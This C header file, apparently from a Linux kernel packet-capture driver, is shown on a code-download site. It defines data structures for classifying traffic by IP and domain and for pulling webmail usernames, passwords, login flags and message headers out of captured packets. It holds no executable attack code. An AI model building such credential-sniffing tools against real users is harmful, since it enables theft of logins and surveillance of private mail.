⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 domainiphash.h

📁 Linux下面截获以态网数据包!是在内核态下面运行的驱动程序
💻 H
字号:
#ifndef _DOMAIN_IP_HASH_
#define _DOMAIN_IP_HASH_

#define IP_TYPE_INIT		0X00000000
#define IP_TYPE_SHOOT		0X00000001
#define IP_TYPE_WEBMAIL		0X00000002
#define IP_TYPE_FOUND		0X00000004
#define IP_TYPE_LOGON		0X00000008
#define IP_TYPE_BBS			0X00000010
#define IP_TYPE_SEARCH  	0X00000020
#define IP_TYPE_POST		0X00000040

#define	WEB_MAIL_BEGIN		"begin"
#define	WEB_MAIL_HOST		"host"
#define WEB_MAIL_HOST_ATTR	"attr"
#define WEB_MAIL_USERNAME	"username"
#define WEB_MAIL_PASSWORD	"password"
#define WEB_MAIL_CRYPTOGRAM	"cryptogram"
#define WEB_MAIL_SEPARATOR	"sepatator"
#define	WEB_MAIL_END		"endup"
#define	WEB_MAIL_LOGIN_FLAG	"loginflag"
#define	WEB_MAIL_SUFFIX		"suffix"
#define	WEB_MAIL_LOCATION	"location"
#define	WEB_MAIL_LOCEND		"locend"
#define WEB_MAIL_RCFLAG		"rcflag"
#define WEB_MAIL_RCCONTINUE	"rccontinue"
#define WEB_MAIL_RAFLAG		"raflag"
#define WEB_MAIL_SCFLAG		"scflag"
#define WEB_MAIL_SAFLAG		"saflag"
#define WEB_MAIL_ADDLIST	"addlist"

#define WEB_MAIL_HOST_SEQ		"."
#define	WEB_MAIL_CONFIG_SEQ		"\r\n"

#define	WEB_MAIL_HOST_LEN		128
#define	WEB_MAIL_USERNAME_LEN	12
#define	WEB_MAIL_PASSWORD_LEN	12
#define	WEB_MAIL_LOCATION_NUM	4
#define WEB_MAIL_LOCATION_LEN	64
#define	WEB_MAIL_LOCEND_NUM		4
#define WEB_MAIL_LOCEND_LEN		64
#define WEB_MAIL_FROM_LEN		12
#define WEB_MAIL_TO_LEN			12
#define	WEB_MAIL_CC_LEN			12
#define	WEB_MAIL_BCC_LEN		12
#define WEB_MAIL_SUBJECT_LEN	12
#define WEB_MAIL_SEPARATOR_LEN	4
#define	WEB_MAIL_LOGIN_FLAG_LEN	24
#define	WEB_MAIL_SUFFIX_LEN		48
#define WEB_MAIL_RCFLAG_LEN		64
#define WEB_MAIL_RCCONTINUE_LEN	64
#define WEB_MAIL_RAFLAG_LEN		64
#define WEB_MAIL_SCFLAG_LEN		64
#define WEB_MAIL_SAFLAG_LEN		64
#define WEB_MAIL_ADDLIST_LEN	64

#define DOMAIN_STATE_VALIDATE		0X00000000
#define DOMAIN_STATE_INVALIDATE		0X00000001

#define	UINT	unsigned int
#define USHORT	unsigned short

typedef struct _WEB_MAIL_CONFIG
{
	struct _WEB_MAIL_CONFIG *pNext;
	UINT	uiLocation;
	UINT	IPType;
	UINT	httpType;			//http_bbs or http_webmail
	UINT	crypt;
	UINT    hostNumber;
#define		WEB_MAIL_HOST_NUMBER		100	
	char	host[WEB_MAIL_HOST_LEN];
	char    separator[WEB_MAIL_SEPARATOR_LEN];
	char	suffix[WEB_MAIL_SUFFIX_LEN];
	char	username[WEB_MAIL_USERNAME_LEN];
	char 	password[WEB_MAIL_PASSWORD_LEN];
	char	location[WEB_MAIL_LOCATION_NUM][WEB_MAIL_LOCATION_LEN];
	char	locend[WEB_MAIL_LOCATION_NUM][WEB_MAIL_LOCATION_LEN];
	char 	loginflag[WEB_MAIL_LOGIN_FLAG_LEN];
	
	char	rcflag[WEB_MAIL_RCFLAG_LEN];
	char	rccontinue[WEB_MAIL_RCCONTINUE_LEN];
	char	raflag[WEB_MAIL_RAFLAG_LEN];
	char	scflag[WEB_MAIL_SCFLAG_LEN];
	char	saflag[WEB_MAIL_SAFLAG_LEN];
	char	addlist[WEB_MAIL_ADDLIST_LEN];
	
	char	from[WEB_MAIL_FROM_LEN];
	char	to[WEB_MAIL_TO_LEN];
	char	cc[WEB_MAIL_CC_LEN];
	char 	bcc[WEB_MAIL_BCC_LEN];
	char    subject[WEB_MAIL_SUBJECT_LEN];
}WEB_MAIL_CONFIG, *PWEB_MAIL_CONFIG;

typedef struct _IP_HASH_BUCKET
{
	struct _IP_HASH_BUCKET *pNext;
	UINT			type;
	UINT			ip;
	PWEB_MAIL_CONFIG 	pConfig;
}IP_HASH_BUCKET, *PIP_HASH_BUCKET;

typedef struct _RULE_IP_HASH_BUCKET
{
	struct _RULE_IP_HASH_BUCKET	*pNext;
	UINT	sip;
	UINT	ruleID;
	UINT	ruleType;
	USHORT	state;
	UINT	totalHited;
	struct timeval	time;
}RULE_IP_HASH_BUCKET, *PRULE_IP_HASH_BUCEKT;

#define RULE_IP_HASH_BUCKET_STATE_VALID			0X0001
#define RULE_IP_HASH_BUCKET_STATE_INVALID		0X0002

#define RULE_IP_HASH_BUCKET_STATE_STATIC		0X0100
#define RULE_IP_HASH_BUCKET_STATE_DYNAMIC		0X0200

typedef struct _RULE_IP_HASH_HEAD
{
	RULE_IP_HASH_BUCKET	*pHead;
	spinlock_t	spinLock;
}RULE_IP_HASH_HEAD, *PRULE_IP_HASH_HEAD;

typedef struct _DOMAIN_HASH_BUCKET
{
	struct _DOMAIN_HASH_BUCKET 	*pNext;
	UINT	type;
	UINT	domainLen;
	UINT	ruleID;
	UINT	state;			//当前域名是否有效
	PWEB_MAIL_CONFIG pConfig;
	char 	payload[1];
}DOMAIN_HASH_BUCKET, *PDOMAIN_HASH_BUCKET;

typedef struct _HASHHEAD_LOOKASIDE_INFO
{
	kmem_cache_t*		pHashLookside;	
	long				iNumber;
	struct semaphore	fastMutex;
}HASHHEAD_LOOKASIDE_INFO, *PHASHHEAD_LOOKASIDE_INFO;

typedef struct _PACKET_LOOKASIDE_INFO{
	kmem_cache_t*		pPacketLookside;
	long				iNumber;
	struct semaphore	fastMutex;
}PACKET_LOOKASIDE_INFO, *PPACKET_LOOKASIDE_INFO;

#endif //_DOMAIN_IP_HASH_

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -